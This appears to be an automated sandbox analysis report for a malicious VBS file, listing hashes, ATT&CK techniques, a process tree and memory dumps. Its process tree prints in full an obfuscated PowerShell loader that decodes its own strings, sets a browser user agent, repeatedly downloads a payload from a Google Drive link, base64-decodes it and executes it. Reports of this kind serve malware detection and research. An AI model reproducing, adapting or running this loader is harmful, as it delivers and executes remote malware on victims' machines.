1efb8676f8d9d101a92a618fed06d4a4b53fcd459b7dbcdbf34d4ebb5f9fd180

General

Target

1efb8676f8d9d101a92a618fed06d4a4b53fcd459b7dbcdbf34d4ebb5f9fd180.vbs
Size

339KB
MD5

7a856cb44c862ebc8a1b323b1d72e754
SHA1

792a1beaabdfa91cda63d76196864dbc4ae16cee
SHA256

1efb8676f8d9d101a92a618fed06d4a4b53fcd459b7dbcdbf34d4ebb5f9fd180
SHA512

cb25f3d8e57231fd7697b5684be6831efedf12ed87f24476d9c7919f2c7fb54eafd3662eed2fd05165d64ddda42e510c36c1ac85dd523e1c1b0d68650a0f6f24
SSDEEP

6144:En64ik47Q3WAFLOgL6hPnAIjxnH7sjS3xcrl0ZIRN2XrwozRMeqzAv+qmXpiEcIq:ZgcgL8jD/wGmzcspquhK0k

Score

6^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2680	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2680	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2680	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1624 wrote to memory of 2680	1624	WScript.exe	29
PID 1624 wrote to memory of 2680	1624	WScript.exe	29
PID 1624 wrote to memory of 2680	1624	WScript.exe	29

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1efb8676f8d9d101a92a618fed06d4a4b53fcd459b7dbcdbf34d4ebb5f9fd180.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Antiunionist Proboulevard produktionsdatabaser Kortende Tigerstribedes Umeddelsomheds Polyesterne #>;$Brystbilledernes='Huisher';<#Faderkrligheden Beswelter Negritian Lnsystemets #>; function Kammerherrens($Ferroelectric){If ($host.DebuggerEnabled) {$Vandvarmers++;}$Snobbedes=$Udmatrikulerings+$Ferroelectric.'Length'-$Vandvarmers; for ( $Nondilution=5;$Nondilution -lt $Snobbedes;$Nondilution+=6){$Wessands65=$Nondilution;$Regnmaalerens+=$Ferroelectric[$Nondilution];}$Regnmaalerens;}function tugtelsen($Kneepan){ . ($Interfirm) ($Kneepan);}$Colossuses=Kammerherrens ' dlydM U,daoS,uirzS ftwi Ep plUnclol.odtaaKr.nr/Maalt ';$Linecut=Kammerherrens 'RaffiTHukomlBa tesRemou1Hunde2Skyde ';$Usystematisk='Eugub[IwaiwN Ty,ieHovedTFo mu. AgtesTil.eEKhankr TrolvSkattiKlunkC PrerE onoP GuarOpos.uI A tiNk oket isemBlegeA CounnSkjteA IndeGRe lie V cerTaila]End r:Ventr:JordcSMisdaEOotheC.adicURestarGenfoIAutortSurcuyNonviP hederAdv nONonupT teniOWoolpcMesiaODubleLFeret= ,ort$ Fe tLCykelISymasnSylvaE,rbejCDerouu La iTespec ';$Colossuses+=Kammerherrens 'Sgema5Drong.Angl 0An to Ridd (MonogWsekuli BasinUncomdVelgroForliwWea,es empu Pib oNledsaT iphy Magya1Kal i0Stroi.Gloub0Pirss;Ekspe S raaWParceiSpo,nnB,rhm6 Over4 Brug;Misgo ArchaxStear6D bbe4Jal.u; hora Jazzirsisisvhyper:Ibrnd1 rne3 Veks1Ris,a.Cruda0Gudls),ange UveiGFremhefermecArm.rk Dre oCon e/ Kur 2Reple0 Fosf1p umu0 Dalz0 Kalk1Amice0 Es e1Gal a ScotoFStr niBlackrSnoree Ker.f,noovoJuglax lo.a/poter1Rewei3Nailf1Tavet. Eige0physi ';$Tappested=Kammerherrens 'Hawk,uInspisaoriseLivsfRCen r-PseudAEkvilGTriioe A omnSubicTCount ';$Pigeonman=Kammerherrens 'Sammeh fordtpho at MythpKi,otsKukke:La se/Latit/Jo gldUdsknrUddaniPneumv pleteUgled. vrtg,rogloUnmacoSmaaggSnabllUndereFlanc.P.intcFarmaogarhwmNon r/ ndosuI hthcPsych?f rteeP eudxGoterp ovbeoHemmerFlaadtmatur= Tr nd Pesso lbinwPopianReuc,lTr nsoRepara veksdLysts& Fan,iHassedParaf=Mycor1MayflwDiamexOv rbs ChlocDechexKnst.yAr hr0Dem.mmUnd rH Disshro kl3rverbwBet,nm A loXHydro0MistakGunteiUdskn0Pus eQLytteI ,ortn MargsRetteNBlastjdis o- CowbTAvisiGsen ajKonse7CitadOTokro3SkrueLclin. ';$Groundplot=Kammerherrens 'Yucke>Unind ';$Interfirm=Kammerherrens 'NonseIunexie,emilX eena ';$Generalpauses='Mandants';$Retfrdigt='\Deponeringen.Fer';tugtelsen (Kammerherrens 'Tredj$.tatuG sammLE,tabOJagttb FlagAP,pcoL Ro e:ProcesGenercForpaU TratLHaft L SkibdCoriau TeleGOvermg rgaEcoun RP,astYAcule=C nte$UkvinEV.derN.enatV Hres: MineARedosP acriPLandsDSoldrAUnexptSamfuasubst+Tumli$SomalRHa tuE.ndskt SkalFUnparR.arboDspadeiAnti g UrydT edig ');tugtelsen (Kammerherrens ' spec$ H adgMiskmlShamboPlatibEfforABlundl .qua:Foi lrOut reOverpS elinOGenfdCFrancIGrunda KonkLprcisITerbaS Geu,EgaloiR BordiRkenln EctrGF nboSSkyggIRe,renlagris PertTR gioIConnotPreprulouchtBorgmIB ccioBeginN ,uleeOve hrsofis= ndby$Kjol,P SkiliSepargSkr nENy tiOSbe,pNHestemk,eskaTopdeNOph,v.Sal.oSUnderPEk,isLCompeiSta aTSpydi(Varet$PlastgNeu oR Fon OI,speuOpspoNDiesed Insip CineL WondOHandet Dr,g)R,ght ');tugtelsen (Kammerherrens $Usystematisk);$Pigeonman=$Resocialiseringsinstitutioner[0];$Lithophane=(Kammerherrens ' Vels$ CommgButleL FaviOValgmbAfsynAGens l krt:Jyskho Li ivLipocE pendR B rgrSamleoGrshoSVanmde Wo,d=KogejnO ddeEBarnewTndem-An ono De ibSamlsJ jruleTillaCIndkrtOct h SpkkeS,nthoyBekenSFeodcTBordaeBlousm Semi.SqueanCoasse PresT East.RdsptwHu oreMartab Jrl,CMisrelKoinciReedieSubgaNtab lTVakte ');tugtelsen ($Lithophane);tugtelsen (Kammerherrens 'Teltp$Mon poSpirkvKompoe RomerDy,trr UndeoAngeys iceneImmer.I disH Bio.e etca ndeldconice Hoydr f,nds olon[Lyren$HorriT,vninaHex,spantikpShelveforeisTillit TolleModerdHidfr] ract=Afpas$ExsciC CladoMykollBunkeoTidsssFuttosNeut u moebsNonunecomprsFo,fr ');$Resorberbart=Kammerherrens ' nste$Udd toDedecv EibreKa pdrSep lr FiksoPlagos Rente tder. SkulD Jor o d mowN ndin kslilInst.oTi ska,enefdletmeFReinai Re ilT.gkoeSelv (Under$NyhedP C spiEx itgontoleA tivo OpsanSvensmForstaUrssfn Semi,Sikke$OverfUFilianKonstfhasp eSnoreuUl radDemu aPitiel ForsiBalkizPulasiSandwn Lifeg D se)R,stl ';$Unfeudalizing=$Scullduggery;tugtelsen (Kammerherrens ' Flyv$Brdebg BurnL S.atoinstab M.liAAfskalSkaal:MarkssInguitDvaskEFor arGrs nEStyrioOxygos Mid,PCanu,eStedeCStjkiiBr mdFRacemiSiouxC avre=austr(Tir cTBondee TotaSHeartTAnast-G.nocpS,rteA PlutT Snegh,hrio Un e$Soapwu Elgun D,ubf Absoe arlau CentDTungma steplUds.oIBathmzHyperit ndeN WarsGVo.it)Samme ');while (!$stereospecific) {tugtelsen (Kammerherrens 'Ur,nv$DegragD dislStylioSyphib ociaaSubtrlSande: FyriJTh omoskeblbthi ssSam ekFestbaStomab FamieAktualSu ars PropeIltins Immio ImperFizeadstemlnO nibi Biotn Li igTrkgaeeluderFra csLaryn2 Spec5Skreg4 Foru= Wha $RegretB biir lemtuRi ide stro ') ;tugtelsen $Resorberbart;tugtelsen (Kammerherrens 'StradsDisk TFlotsa SheeRFdseltlogic-Su teSDrm.elCe,ebeHesteEbagskPForv Indva4P eud ');tugtelsen (Kammerherrens 'Udsti$GillhgLefl L Outro TegnbNaptha ,iliL.arin: TippS SulpTre iseVandlrRos.nEKontaoAcumis UnrePtaintePolakcSkrydICathofT,inei Ung.cukoll= sini(BidraTMacarEGammisDyksvTKlbeh-ElectpEgenvAaureotObs.ih Shri unapp$Antrou OlennMawpuf AdanEN,urouP.ogrdTw stAMet dLGuidiIEjendZ Smooi po tNEftergMelil) lbes ') ;tugtelsen (Kammerherrens 'Compu$DeltagRudelLTanksO andlb QuelAFor,iLPropr:N ncos lgn,p chameBaskek igphUs bdal UlceA Bap.tLsseniAttenoimmigNKrokesFormuBBarfoY An iGFloorg InteE Sla RPateniarchieTrafitAdvan=Rygel$Phreng Fierl.nogloSuperbGuldsaAmi alAfson:Erhven OverUDensilKlageLSubstU Selvs Eks.+Glas.+ds gh%o.tsc$AntimRSvigteDurkiSwishfoR tioCErnriiTilbeaAnsv,lVer,rIklageSBef,reSup rRT bakIFilmiN iabegkaskasRestrIUl,kkN SilasHjemkTElec ip,ocrTRoughuBlokeT MarkInonsoOanticn DommESantorOli.f.RringcTric.OH,nsyU D wanEcc.nTMa,on ') ;$Pigeonman=$Resocialiseringsinstitutioner[$Spekulationsbyggeriet];}$Delarbejders=288762;$Tommevise=31671;tugtelsen (Kammerherrens 'Opsti$E cycGBarskLSvejfOEthnob yrogACommuLBea,w:EremiAJustiFCholeHHenbao BystLLeangDP oviEKvit N AutodDir.keWordc inter=Indis SinkeGBanalESysteTSurci-H.terCDis,uO eninnLe edtUnveneCorclNSne eTGifti Buats$EpicoUanacrnSskenF anuE ReflufluidDAntipaNyklaLsagadIForvazForski .aesnSulkyG slit ');tugtelsen (Kammerherrens 'Ejers$.orsygGe.ejlKond,o SkorbUltamaUn ullMicro: BlufGKranih azzeahofmanMedfaaSanitiInddaaPjasknHjemm Hjoer=Funkl Drun [BrnesSFinteyLoun sNjalstIllumeM nitmPosto.SingsCequatoMetalnhamlivRetireTra srDerivtSnrel]Stick: Reob:Ang.tFHig.hr SoproUncl mFi icB krteaSk alsMuddeeu.beg6Brist4TidebS CyketP nnerUddaniPermanRaptug Ma d(Storr$S,parAPaed.f P,nehCoeduoOptralAnukadPsyl e Co,nngalvadb.nkbeBesse)Stilg ');tugtelsen (Kammerherrens 'Gruel$SlbemgGlottlInteroLsretbBlideaNyde.LGipsy:PanamFOctaniS lskSCortekIronlePlatyAEtti,uI dsikRenegtQuartiHaemoosjl vnMenneeUnto nPanfiS oder Logge= A ae Kr ts[EndosSEtiopyPhytoSCeintT rkkeEBieenM.lech.FlasktPhotoEpseudXPh,lotLns m. Pr.lEk talnKilenc Sgero.ammedMicr iPile NLenarG lukn]dyref:Omnor:Pen,lA,omensMespocCatguIAncyliSats .S ikeg ivene,endeTBaselS thonTOksetRhell IRegnsnHistogFuse,( Gyps$KejseGImposHKaninan.npuNLn,dgARing iKrakiASktteNracer)Uneva ');tugtelsen (Kammerherrens ' agn$ Ca.iGRee iLvend,OH utbBMenneaUdskrl Fler:BiopsMPrin eYorkeT HispH longaCuma,n DarwAAbef T.aralEForlf= Unva$Jug efAntitiDebadsTwittKOveraE,alloA apituResidkSewerTPlectIMono OVivacnEncepeHabr NKnubssThy i.Fla kSlinguUBek,pBRovemSHondutPre aR oelviServ,nPhylag Nata( Pach$Mi.iadformaEPoserlJurymaJun,orUdbydBO twiESelvlj S irDBouriEStemmrSnekksNyhed,Fld.f$ BlenTCheckoSlamam consm AvlsELddenvnirvaIPanopsSuperEFunkt) ejli ');tugtelsen $Methanate;"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2680-11-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

Filesize
9.6MB

Download
memory/2680-10-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

Filesize
9.6MB

Download
memory/2680-9-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

Filesize
9.6MB

Download
memory/2680-8-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

Filesize
9.6MB

Download
memory/2680-7-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

Filesize
9.6MB

Download
memory/2680-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/2680-5-0x000000001B4D0000-0x000000001B7B2000-memory.dmp

Filesize
2.9MB

Download
memory/2680-4-0x000007FEF5AEE000-0x000007FEF5AEF000-memory.dmp

Filesize
4KB

Download
memory/2680-12-0x000007FEF5AEE000-0x000007FEF5AEF000-memory.dmp

Filesize
4KB

Download
memory/2680-13-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

Filesize
9.6MB

Download
memory/2680-14-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

Filesize
9.6MB

Download
memory/2680-16-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

Filesize
9.6MB

Download
memory/2680-15-0x000007FEF5830000-0x000007FEF61CD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing